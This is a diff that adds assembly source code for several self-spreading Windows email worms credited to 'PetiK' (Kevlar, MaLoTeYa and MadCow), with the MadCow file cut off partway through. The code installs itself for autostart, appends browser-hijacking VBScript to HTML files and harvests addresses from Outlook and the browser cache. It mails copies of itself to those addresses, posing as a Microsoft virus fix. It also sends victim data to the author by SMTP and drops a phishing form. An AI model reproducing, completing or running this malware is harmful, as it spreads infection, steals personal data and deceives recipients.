db 'c.Close',0dh,0ah
|
||||
db 'For Each M In L.AddressLists',0dh,0ah
|
||||
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
|
||||
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
|
||||
db 'Set P = M.AddressEntries(O)',0dh,0ah
|
||||
db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine P.Address',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine "!"',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
VBSSIZE = $-vbsd
|
||||
|
||||
signature db "I-Worm.Kevlar coded by PetiK (c)2001",00h
|
||||
|
||||
|
||||
MAX_PATH equ 260
|
||||
FILETIME struct
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName dd MAX_PATH (?)
|
||||
cAlternateFileName db 13 dup (?)
|
||||
db 3 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
Search WIN32_FIND_DATA <>
|
||||
|
||||
|
||||
end DEBUT
|
||||
end
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,754 @@
|
||||
comment #
|
||||
Name : I-Worm.MaLoTeYa
|
||||
Author : PetiK
|
||||
Date : July 2nd - July 6th
|
||||
Size : 12288 byte
|
||||
|
||||
Action: It copies itself to \WINDOWS\RUNW32.EXE and to \WINDOWS\SYSTEM\MSVA.EXE. It alters the
|
||||
run= line and creates the VARegistered.htm file in the StartUp folder. This file send some
|
||||
informations to petik@multimania.com and displays a fake message.
|
||||
If the version of the platform is Windows 95/98, the file is a service process.
|
||||
It infects all *.htm and *.html file while writing at the end a VB script. It checks after
|
||||
if exist a internet connection and scans all *.htm* files in the "Temporary Internet Files"
|
||||
to find some EMail addreses and send a copy of itself. The worms sends equally an email to
|
||||
"petik@multimania.com" with the country of the user. When the user want to see the
|
||||
system properties, the title of the window is changed by "PetiK always is with you :-)".
|
||||
|
||||
Greets to Benny, ZeMacroKiller98, Mandragore.
|
||||
|
||||
tasm32 /M /ML Maloteya
|
||||
tlink32 -Tpe -aa -x Maloteya,,,import32
|
||||
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
callx macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include useful.inc
|
||||
|
||||
;----------------------------------------
|
||||
;Installation of the worm in the computer
|
||||
;----------------------------------------
|
||||
DEBUT:
|
||||
VERIF: push 00h
|
||||
callx GetModuleFileNameA
|
||||
push 50h
|
||||
push offset szOrig
|
||||
push eax
|
||||
callx GetModuleFileNameA
|
||||
|
||||
push 50h
|
||||
push offset szCopie
|
||||
callx GetWindowsDirectoryA
|
||||
@pushsz "\RUNW32.EXE"
|
||||
push offset szCopie
|
||||
callx lstrcat
|
||||
|
||||
push 50h
|
||||
push offset szCopb
|
||||
callx GetSystemDirectoryA
|
||||
@pushsz "\MSVA.EXE"
|
||||
push offset szCopb
|
||||
callx lstrcat
|
||||
|
||||
push offset szOrig
|
||||
push offset szCopie
|
||||
callx lstrcmp
|
||||
test eax,eax
|
||||
jz CACHE
|
||||
|
||||
COPIE: push 00h
|
||||
push offset szCopie
|
||||
push offset szOrig
|
||||
callx CopyFileA
|
||||
push 00h
|
||||
push offset szCopb
|
||||
push offset szOrig
|
||||
callx CopyFileA
|
||||
|
||||
WININI: push 50
|
||||
push offset szWinini
|
||||
callx GetWindowsDirectoryA
|
||||
@pushsz "\\WIN.INI"
|
||||
push offset szWinini
|
||||
callx lstrcat
|
||||
push offset szWinini
|
||||
push offset szCopie
|
||||
@pushsz "run"
|
||||
@pushsz "windows"
|
||||
callx WritePrivateProfileStringA
|
||||
|
||||
;--------------------------------------------------
|
||||
;Create VARegistered.htm file in the StartUp folder
|
||||
;--------------------------------------------------
|
||||
C_GET: @pushsz "SHELL32.dll"
|
||||
callx LoadLibraryA
|
||||
mov SHELLhdl,eax
|
||||
@pushsz "SHGetSpecialFolderPathA"
|
||||
push SHELLhdl
|
||||
callx GetProcAddress
|
||||
mov getfolder,eax
|
||||
push 00h
|
||||
push 07h ; STARTUP Folder
|
||||
push offset StartUp
|
||||
push 00h
|
||||
call [getfolder]
|
||||
test eax,eax
|
||||
je F_HTM
|
||||
@pushsz "\VARegistered.htm"
|
||||
push offset StartUp
|
||||
callx lstrcat
|
||||
|
||||
HTM: push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
push offset StartUp
|
||||
callx CreateFileA
|
||||
mov [FileHdl],eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push HTMTAILLE
|
||||
push offset htmd
|
||||
push [FileHdl]
|
||||
callx WriteFile
|
||||
push [FileHdl]
|
||||
callx CloseHandle
|
||||
F_HTM: push [SHELLhdl]
|
||||
callx FreeLibrary
|
||||
|
||||
F_MESS: push 1000
|
||||
callx Sleep
|
||||
push 1040h
|
||||
@pushsz "Microsoft Virus Alert"
|
||||
@pushsz "Your system does not appear infected with I-Worm.Magistr"
|
||||
push 00h
|
||||
callx MessageBoxA
|
||||
jmp FIN
|
||||
|
||||
;----------------------------------
|
||||
;Serivice process for Windows 95/98
|
||||
;----------------------------------
|
||||
CACHE: @pushsz "KERNEL32.dll"
|
||||
callx GetModuleHandleA
|
||||
@pushsz "RegisterServiceProcess"
|
||||
push eax
|
||||
callx GetProcAddress
|
||||
xchg ecx,eax
|
||||
jecxz D_INF
|
||||
push 01h
|
||||
push 00h
|
||||
call ecx
|
||||
|
||||
D_INF: push 50
|
||||
push offset szCurrent
|
||||
callx GetCurrentDirectoryA
|
||||
push offset szCurrent
|
||||
callx SetCurrentDirectoryA
|
||||
|
||||
;---------------------------------------------
|
||||
;Infect all *.htm* files of the Windows folder
|
||||
;---------------------------------------------
|
||||
FFF: push offset Search
|
||||
@pushsz "*.htm*" ; Search some *.htm* files...
|
||||
callx FindFirstFileA
|
||||
inc eax
|
||||
je F_INF
|
||||
dec eax
|
||||
mov [htmlHdl],eax
|
||||
|
||||
i_file: call infect ; and infect them
|
||||
|
||||
push offset Search
|
||||
push [htmlHdl]
|
||||
callx FindNextFileA
|
||||
test eax,eax
|
||||
jne i_file
|
||||
push [htmlHdl]
|
||||
callx FindClose
|
||||
F_INF:
|
||||
|
||||
;-----------------------
|
||||
; Check if we r conected
|
||||
;-----------------------
|
||||
NET1: @pushsz "WININET.dll"
|
||||
callx LoadLibraryA
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov WNEThdl,eax
|
||||
@pushsz "InternetGetConnectedState"
|
||||
push WNEThdl
|
||||
callx GetProcAddress
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov netcheck,eax
|
||||
jmp NET2
|
||||
NET2: push 00h
|
||||
push offset Temp
|
||||
call [netcheck] ; Connect to Internet ??
|
||||
dec eax
|
||||
jnz NET2
|
||||
FINNET: push [WNEThdl]
|
||||
callx FreeLibrary
|
||||
|
||||
PAYS: push 50
|
||||
push offset szSystemini
|
||||
callx GetWindowsDirectoryA
|
||||
@pushsz "\Win.ini"
|
||||
push offset szSystemini
|
||||
callx lstrcat
|
||||
push offset szSystemini
|
||||
push 20
|
||||
push offset org_pays
|
||||
push offset Default
|
||||
@pushsz "sCountry"
|
||||
@pushsz "intl"
|
||||
callx GetPrivateProfileStringA
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Send the name of country to "petik@multomania.com" (perhaps bugs)
|
||||
;------------------------------------------------------------------
|
||||
SMTP: push offset WSA_Data ; Winsock
|
||||
push 0101h ; ver 1.1 (W95+)
|
||||
callx WSAStartup
|
||||
or eax,eax
|
||||
jnz INIT
|
||||
|
||||
@pushsz "obelisk.mpt.com.uk"
|
||||
callx gethostbyname ; convert SMTP Name to an IP address
|
||||
xchg ecx,eax
|
||||
jecxz FREE_WIN ; Error ?
|
||||
mov esi,[ecx+12] ; Fetch IP address
|
||||
lodsd
|
||||
push eax
|
||||
pop [ServIP]
|
||||
|
||||
push 00h ; Create Socket
|
||||
push 01h ; SOCK_STREAM
|
||||
push 02h ; AF_INET
|
||||
callx socket
|
||||
mov work_socket,eax
|
||||
inc eax
|
||||
jz FREE_WIN
|
||||
|
||||
push 16 ; Sze of connect strucure
|
||||
call @1 ; Connect structure
|
||||
dw 2 ; Family
|
||||
db 0, 25 ; Port number
|
||||
ServIP dd 0 ; IP of server
|
||||
db 8 dup(0) ; Unused
|
||||
@1:
|
||||
push [work_socket]
|
||||
callx connect
|
||||
inc eax
|
||||
jz CLOSE_SOC
|
||||
|
||||
lea esi,Send_M
|
||||
mov bl,6
|
||||
|
||||
Command_Loop: xor eax,eax
|
||||
|
||||
call @2 ; Time-out:
|
||||
Time_Out: dd 5 ; Seconds
|
||||
dd 0 ; Milliseconds
|
||||
@2:
|
||||
push eax ; Not used (Error)
|
||||
push eax ; Not used (Writeability)
|
||||
call @3
|
||||
Socket_Set: dd 1 ; Socket count
|
||||
work_socket dd 0 ; Socket
|
||||
@3:
|
||||
push eax ; Unused
|
||||
callx select
|
||||
dec eax
|
||||
jnz CLOSE_SOC
|
||||
|
||||
push 00h
|
||||
push 512 ; Received data from socket
|
||||
push offset buf_recv
|
||||
push [work_socket]
|
||||
callx recv
|
||||
xchg ecx,eax ; Connection closed ?
|
||||
jecxz CLOSE_SOC
|
||||
inc ecx ; Error ?
|
||||
jz CLOSE_SOC
|
||||
or ebx,ebx ; Received stuff was QUIT
|
||||
jz CLOSE_SOC ; reply ? then close up.
|
||||
mov al,'2' ; "OK" reply
|
||||
|
||||
cmp bl,2 ; Received stuff was the DATA
|
||||
jne Check_Reply ; reply ?
|
||||
inc eax
|
||||
Check_Reply: scasb
|
||||
je Wait_Ready
|
||||
|
||||
lea esi,Send_M + (5*4)
|
||||
mov bl,1
|
||||
|
||||
Wait_Ready:
|
||||
xor ecx,ecx
|
||||
lea eax,Time_Out
|
||||
push eax
|
||||
push ecx ; not used (Error)
|
||||
lea eax,Socket_Set
|
||||
push eax ; Writeability
|
||||
push ecx ; Not used (Readability)
|
||||
push ecx ; Unused
|
||||
callx select
|
||||
dec eax ; Time-ouit ??
|
||||
jnz CLOSE_SOC
|
||||
|
||||
cld
|
||||
lodsd
|
||||
|
||||
movzx ecx,ax
|
||||
shr eax,16
|
||||
add eax,ebp
|
||||
|
||||
push ecx ; Send command and data to the socket
|
||||
push 00h
|
||||
push ecx ; Size of buffer
|
||||
push eax ; Buffer
|
||||
push [work_socket]
|
||||
callx send
|
||||
pop ecx
|
||||
cmp eax,ecx
|
||||
jne CLOSE_SOC
|
||||
dec ebx
|
||||
jns Command_Loop
|
||||
|
||||
CLOSE_SOC:
|
||||
push [work_socket]
|
||||
callx closesocket
|
||||
FREE_WIN:
|
||||
callx WSACleanup
|
||||
|
||||
|
||||
INIT: @pushsz "MAPI32.dll"
|
||||
callx LoadLibraryA
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov MAPIhdl,eax
|
||||
@pushsz "MAPISendMail"
|
||||
push MAPIhdl
|
||||
callx GetProcAddress
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov sendmail,eax
|
||||
|
||||
D_GET: @pushsz "SHELL32.dll"
|
||||
callx LoadLibraryA
|
||||
mov SHELLhdl,eax
|
||||
@pushsz "SHGetSpecialFolderPathA"
|
||||
push SHELLhdl
|
||||
callx GetProcAddress
|
||||
mov getfolder,eax
|
||||
push 00h
|
||||
push 20h ; MSIE Cache Folder
|
||||
push offset Cache
|
||||
push 00h
|
||||
call [getfolder]
|
||||
push [SHELLhdl]
|
||||
callx FreeLibrary
|
||||
push offset Cache
|
||||
callx SetCurrentDirectoryA
|
||||
|
||||
;-----------------------------------------------------------
|
||||
; Search email addresses into the "Temporary Internet Files"
|
||||
;-----------------------------------------------------------
|
||||
FFF2: push offset Search
|
||||
@pushsz "*.htm*"
|
||||
callx FindFirstFileA
|
||||
inc eax
|
||||
je END_SPREAD
|
||||
dec eax
|
||||
mov [htmlHdl],eax
|
||||
|
||||
i_htm: call infect2
|
||||
|
||||
push offset Search
|
||||
push [htmlHdl]
|
||||
callx FindNextFileA
|
||||
test eax,eax
|
||||
jne i_file
|
||||
push [htmlHdl]
|
||||
callx FindClose
|
||||
|
||||
END_SPREAD:
|
||||
push [MAPIhdl]
|
||||
callx FreeLibrary
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; Changes the title of the System Properties window on Wednesday
|
||||
;---------------------------------------------------------------
|
||||
DATE: push offset SystemTime
|
||||
callx GetSystemTime
|
||||
cmp [SystemTime.wDayOfWeek],3
|
||||
jne FIN
|
||||
WIN1: @pushsz "Propriétés Systême"
|
||||
push 00h
|
||||
callx FindWindowA
|
||||
test eax,eax
|
||||
jz WIN2
|
||||
jmp WIN3
|
||||
WIN2: @pushsz "System Properties" ; Change title some windows
|
||||
push 00h
|
||||
callx FindWindowA
|
||||
test eax,eax
|
||||
jz WIN1
|
||||
WIN3: mov edi,eax
|
||||
@pushsz "PetiK always is with you :-)"
|
||||
push edi
|
||||
callx SetWindowTextA
|
||||
jmp WIN1
|
||||
|
||||
FIN: push 00h
|
||||
callx ExitProcess
|
||||
|
||||
infect: pushad
|
||||
mov esi,offset Search.cFileName
|
||||
push esi
|
||||
callx GetFileAttributesA
|
||||
cmp eax,1
|
||||
je end_infect
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
push esi
|
||||
callx CreateFileA
|
||||
xchg eax,edi
|
||||
inc edi
|
||||
je end_infect
|
||||
dec edi
|
||||
push 02h ; FILE_END
|
||||
push 00h
|
||||
push [Dist]
|
||||
push edi
|
||||
callx SetFilePointer
|
||||
push 00h
|
||||
push offset octets
|
||||
push HTMSIZE
|
||||
push offset d_htm
|
||||
push edi
|
||||
callx WriteFile
|
||||
push edi
|
||||
callx CloseHandle
|
||||
push 01h ; READONLY
|
||||
push esi
|
||||
callx SetFileAttributesA
|
||||
end_infect: popad
|
||||
ret
|
||||
|
||||
infect2:pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
push offset Search.cFileName
|
||||
inc eax
|
||||
je END_SPREAD
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 02h ; PAGE_READONLY
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
je F1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h ; FILE_MAP_READ
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
je F2
|
||||
xchg eax,esi
|
||||
|
||||
push 00h
|
||||
push ebx
|
||||
callx GetFileSize
|
||||
xchg eax,ecx
|
||||
jecxz F3
|
||||
|
||||
d_scan_mail:
|
||||
call @melto
|
||||
db 'mailto:'
|
||||
@melto: pop edi
|
||||
scn_mail:
|
||||
pushad
|
||||
push 07h
|
||||
pop ecx
|
||||
rep cmpsb
|
||||
popad
|
||||
je scan_mail
|
||||
inc esi
|
||||
loop scn_mail
|
||||
|
||||
F3: push esi
|
||||
callx UnmapViewOfFile
|
||||
F2: push ebp
|
||||
callx CloseHandle
|
||||
F1: push ebx
|
||||
callx CloseHandle
|
||||
popad
|
||||
ret
|
||||
|
||||
scan_mail:
|
||||
xor edx,edx
|
||||
add esi,7 ; size of the string "mailto:"
|
||||
mov edi,offset m_addr
|
||||
push edi
|
||||
p_car: lodsb ; next character
|
||||
cmp al,' ' ; space ??
|
||||
je car_s
|
||||
cmp al,'"' ; end character ??
|
||||
je car_f
|
||||
cmp al,'''' ; end character ??
|
||||
je car_f
|
||||
cmp al,'@' ; @ character ??
|
||||
jne not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_car ; jmp to nxt char
|
||||
car_s: inc esi
|
||||
jmp p_car
|
||||
car_f: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx ; exist @ ??
|
||||
je d_scan_mail
|
||||
call ENVOIE
|
||||
jmp d_scan_mail
|
||||
|
||||
|
||||
ENVOIE: xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push eax
|
||||
push [MAPIh]
|
||||
call [sendmail]
|
||||
ret
|
||||
|
||||
.data
|
||||
namer db 50 dup (0)
|
||||
szCopb db 50 dup (0)
|
||||
szCopie db 50 dup (0)
|
||||
szCurrent db 50 dup (0)
|
||||
szOrig db 50 dup (0)
|
||||
szSystemini db 50 dup (0)
|
||||
szWinini db 50 dup (0)
|
||||
Cache db 70 dup (0)
|
||||
StartUp db 70 dup (0)
|
||||
m_addr db 128 dup (?)
|
||||
WSA_Data db 400 dup (0)
|
||||
buf_recv db 512 dup (0)
|
||||
Default db 0
|
||||
FileHdl dd ?
|
||||
octets dd ?
|
||||
netcheck dd ?
|
||||
sendmail dd ?
|
||||
getfolder dd ?
|
||||
htmlHdl dd ?
|
||||
MAPIhdl dd ?
|
||||
SHELLhdl dd ?
|
||||
WNEThdl dd ?
|
||||
RegHdl dd ?
|
||||
Dist dd 0
|
||||
Temp dd 0
|
||||
MAPIh dd 0
|
||||
WormName db "I-Worm.MaLoTeYa coded by PetiK (c)2001 (05/07)",00h
|
||||
Origine db "Made In France",00h
|
||||
|
||||
|
||||
|
||||
Message dd ?
|
||||
dd offset sujet
|
||||
dd offset corps
|
||||
dd ?
|
||||
dd offset date
|
||||
dd ?
|
||||
dd 2 ; MAPI_RECEIPT_REQUESTED ??
|
||||
dd offset MsgFrom
|
||||
dd 1 ; MAPI_UNREAD ??
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset AttachDesc
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd offset NameFrom
|
||||
dd offset MailFrom
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1 ; MAIL_TO
|
||||
dd offset NameTo
|
||||
dd offset m_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
AttachDesc dd ?
|
||||
dd ?
|
||||
dd ? ; character in text to be replaced by attachment
|
||||
dd offset szCopb ; Full path name of attachment file
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
sujet db "New Virus Alert !!",00h
|
||||
corps db "This is a fix against I-Worm.Magistr.",0dh,0ah
|
||||
db "Run the attached file (MSVA.EXE) to detect, repair and "
|
||||
db "protect you against this malicious worm.",00h
|
||||
date db "2001/07/01 15:15",00h ; YYYY/MM//DD HH:MM
|
||||
NameFrom db "Microsoft Virus Alert"
|
||||
MailFrom db "virus_alert@microsoft.com",00h
|
||||
NameTo db "Customer",00h
|
||||
|
||||
Send_M: dw fHELO-dHELO
|
||||
dw fFROM-dFROM
|
||||
dw fRCPT-dRCPT
|
||||
dw fDATA-dDATA
|
||||
dw fMAIL-dMAIL
|
||||
dw fQUIT-dQUIT
|
||||
|
||||
dHELO db 'HELO obelisk.mpt.com.uk',0dh,0ah
|
||||
fHELO:
|
||||
dFROM db 'MAIL FROM:<maloteya@petik.com>',0dh,0ah
|
||||
fFROM:
|
||||
dRCPT db 'RCPT TO:<petik@multimania.com>',0dh,0ah
|
||||
fRCPT:
|
||||
dDATA db 'DATA',0dh,0ah
|
||||
fDATA:
|
||||
dMAIL: db 'From: "MaLoTeYa",<maloteya@petik.com>',0dh,0ah
|
||||
db 'Subject: Long Live the Worm',0dh,0ah
|
||||
db 'Pays d''origine : '
|
||||
org_pays db 20 dup (0)
|
||||
db '',0dh,0ah
|
||||
db '.',0dh,0ah
|
||||
fMAIL:
|
||||
dQUIT db 'QUIT',0dh,0ah
|
||||
fQUIT:
|
||||
|
||||
htmd: db "<html><head><title>Virus Alert Registration</title></head>",0dh,0ah
|
||||
db "<SCRIPT LANGUAGE=""VBScript"">",0dh,0ah
|
||||
db "Sub control",0dh,0ah
|
||||
db "dim i",0dh,0ah
|
||||
db "dim caract",0dh,0ah
|
||||
db "formu.action=""""",0dh,0ah
|
||||
db "If formu.mail.value="""" Then",0dh,0ah
|
||||
db " MsgBox ""Forgotten EMail""",0dh,0ah
|
||||
db " Else",0dh,0ah
|
||||
db " For i= 1 to len(formu.mail.value)",0dh,0ah
|
||||
db " caract=mid(formu.mail.value,i,1)",0dh,0ah
|
||||
db " If caract=""@"" Then",0dh,0ah
|
||||
db " Exit For",0dh,0ah
|
||||
db " End If",0dh,0ah
|
||||
db " Next",0dh,0ah
|
||||
db " If caract=""@"" Then",0dh,0ah
|
||||
db " formu.action=""mailto:petik@multimania.com""",0dh,0ah
|
||||
db " Else",0dh,0ah
|
||||
db " MsgBox ""Invalid EMail""",0dh,0ah
|
||||
db " End If",0dh,0ah
|
||||
db "End If",0dh,0ah
|
||||
db "End Sub",0dh,0ah
|
||||
db "</SCRIPT>",0dh,0ah
|
||||
db "<body bgcolor=white text=black>",0dh,0ah
|
||||
db "<p align=""center""><font size=""5"">Microsoft Virus Alert Registration</font></p>",0dh,0ah
|
||||
db "<p align=""left""><font size=""3"">Please fill out this form. </font>",0dh,0ah
|
||||
db "<font>You must be connected to internet.</font></p>",0dh,0ah
|
||||
db "<p></p>",0dh,0ah
|
||||
db "<form name=""formu"" action method=""POST"" enctype=""text/plan"">",0dh,0ah
|
||||
db "<p>Name : <input name=""nom"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p>Firstname : <input name=""prenom"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p>City : <input name=""ville"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p>Country : <input name=""pays"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p>E-Mail : <input name=""mail"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p><input type=""submit"" value=""Submit"" name=""B1"" onclick=""control""></p>",0dh,0ah
|
||||
db "<p></p>",0dh,0ah
|
||||
db "<p align=""center""><font><B>AFTER REGISTRATION YOU CAN DELETE THIS FILE</B></font></p>",0dh,0ah
|
||||
db "</form></body></html>",00h
|
||||
HTMTAILLE equ $-htmd
|
||||
|
||||
d_htm: db "",0dh,0ah,0dh,0ah
|
||||
db "<SCRIPT Language=VBScript>",0dh,0ah
|
||||
db "On Error Resume Next",0dh,0ah
|
||||
db "Set fso=CreateObject(""Scripting.FileSystemObject"")",0dh,0ah
|
||||
db "Set ws=CreateObject(""WScript.Shell"")",0dh,0ah
|
||||
db "ws.RegWrite ""HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"",""http://www.petikvx.fr.fm""",0dh,0ah
|
||||
db "document.Write ""<font face='verdana' color=red size='2'>This file is infected by my new virus"
|
||||
db "<br>Written by PetiK (c)2001"
|
||||
db "<br>HTML/W32.MaLoTeYa.Worm<br></font>""",0dh,0ah
|
||||
db "</SCRIPT>",0dh,0ah
|
||||
HTMSIZE equ $-d_htm
|
||||
|
||||
OSVERSIONINFO struct
|
||||
dwOSVersionInfoSize dd ?
|
||||
dwMajorVersion dd ?
|
||||
dwMinorVersion dd ?
|
||||
dwBuildNumber dd ?
|
||||
dwPlatformId dd ?
|
||||
szCSDVersion db 128 dup (?)
|
||||
OSVERSIONINFO ends
|
||||
|
||||
SYSTIME struct
|
||||
wYear WORD ?
|
||||
wMonth WORD ?
|
||||
wDayOfWeek WORD ?
|
||||
wDay WORD ?
|
||||
wHour WORD ?
|
||||
wMinute WORD ?
|
||||
wSecond WORD ?
|
||||
wMillisecond WORD ?
|
||||
SYSTIME ends
|
||||
|
||||
MAX_PATH equ 260
|
||||
|
||||
FILETIME struct
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName dd MAX_PATH (?)
|
||||
cAlternateFileName db 13 dup (?)
|
||||
db 3 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
OSVer OSVERSIONINFO <>
|
||||
SystemTime SYSTIME <>
|
||||
Search WIN32_FIND_DATA <>
|
||||
|
||||
end DEBUT
|
||||
end
|
||||
@@ -0,0 +1,353 @@
|
||||
comment * ///// I-Worm.MadCow par PetiK ///// 25/11/2000
|
||||
|
||||
Pour assembler : tasm32 /M /ML madcow.asm
|
||||
tlink32 -Tpe -aa -x madcow.obj,,,import32.lib *
|
||||
|
||||
jumps
|
||||
locals
|
||||
.386
|
||||
.model flat,stdcall
|
||||
|
||||
;KERNEL32.dll
|
||||
extrn lstrcat:PROC
|
||||
extrn WritePrivateProfileStringA:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn CopyFileA:PROC
|
||||
extrn CreateDirectoryA:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn DeleteFileA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
extrn GetModuleFileNameA:PROC
|
||||
extrn GetModuleHandleA:PROC
|
||||
extrn GetSystemDirectoryA:PROC
|
||||
extrn GetWindowsDirectoryA:PROC
|
||||
extrn MoveFileA:PROC
|
||||
extrn WinExec:PROC
|
||||
extrn WriteFile:PROC
|
||||
|
||||
;ADVAPI32.dll
|
||||
extrn RegSetValueExA:PROC
|
||||
extrn RegCreateKeyExA:PROC
|
||||
extrn RegCloseKey:PROC
|
||||
|
||||
.data
|
||||
regDisp dd 0
|
||||
regResu dd 0
|
||||
l dd 0
|
||||
p dd 0
|
||||
fh dd 0
|
||||
octets dd ?
|
||||
szOrig db 260 dup (0)
|
||||
szOrig2 db 260 dup (0)
|
||||
szCopie db 260 dup (0)
|
||||
szCopi2 db 260 dup (0)
|
||||
szCico db 260 dup (0)
|
||||
szWin db 260 dup (0)
|
||||
Dossier db "C:\Win32",00h
|
||||
fichier db "C:\Win32\Salut.ico",00h
|
||||
Copico db "\MSLS.ICO",00h
|
||||
Copie db "\Wininet32.exe",00h
|
||||
Copie2 db "\MadCow.exe",00h
|
||||
BATFILE db "C:\Win32\ENVOIE.BAT",00h
|
||||
VBSFILE db "C:\Win32\ENVOIE.VBS",00h
|
||||
Winini db "\\WIN.INI",00h
|
||||
run db "run",00h
|
||||
windows db "windows",00h
|
||||
fileini db "C:\Win32\script.ini",00h
|
||||
Copie3 db "C:\Win32\MadCow.exe",00h
|
||||
script1 db "C:\mirc\script.ini",00h
|
||||
script2 db "C:\mirc32\script.ini",00h
|
||||
script3 db "C:\program files\mirc\script.ini",00h
|
||||
script4 db "C:\program files\mirc32\script.ini",00h
|
||||
CLE db "Software\[Atchoum]",00h
|
||||
CLE2 db "\exefile\DefaultIcon",00h
|
||||
Signature db "IWorm.MadCow par PetiK (c)2000"
|
||||
|
||||
vbsd:
|
||||
db 'DEBUT()',0dh,0ah
|
||||
db 'Sub DEBUT()',0dh,0ah
|
||||
db 'EMAIL()',0dh,0ah
|
||||
db 'End Sub',0dh,0ah
|
||||
db '',0dh,0ah
|
||||
db 'Sub EMAIL()',0dh,0ah
|
||||
db 'Set K = CreateObject("Outlook.Application")',0dh,0ah
|
||||
db 'Set L = K.GetNameSpace("MAPI")',0dh,0ah
|
||||
db 'For Each M In L.AddressLists',0dh,0ah
|
||||
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
|
||||
db 'Set N = K.CreateItem(0)',0dh,0ah
|
||||
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
|
||||
db 'Set P = M.AddressEntries(O)',0dh,0ah
|
||||
db 'If O = 1 Then',0dh,0ah
|
||||
db 'N.BCC = P.Address',0dh,0ah
|
||||
db 'Else',0dh,0ah
|
||||
db 'N.BCC = N.BCC & "; " & P.Address',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'N.Subject = "Pourquoi les vaches sont-elles folles ?"',0dh,0ah
|
||||
db 'N.Body = "Voila un rapport expliquant la folie des vaches"',0dh,0ah
|
||||
db 'Set Q = CreateObject("Scripting.FileSystemObject")',0dh,0ah
|
||||
db 'N.Attachments.Add Q.BuildPath(Q.GetSpecialFolder(0),"MadCow.exe")',0dh,0ah
|
||||
db 'N.Send',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'End Sub',0dh,0ah
|
||||
vbstaille equ $-vbsd
|
||||
|
||||
batd:
|
||||
db '@echo off',0dh,0ah
|
||||
db 'start C:\Win32\ENVOIE.VBS',0dh,0ah
|
||||
battaille equ $-batd
|
||||
|
||||
inid:
|
||||
db "[script]",0dh,0ah
|
||||
db "n0=on 1:JOIN:#:{",0dh,0ah
|
||||
db "n1= /if ( $nick == $me ) { halt }",0dh,0ah
|
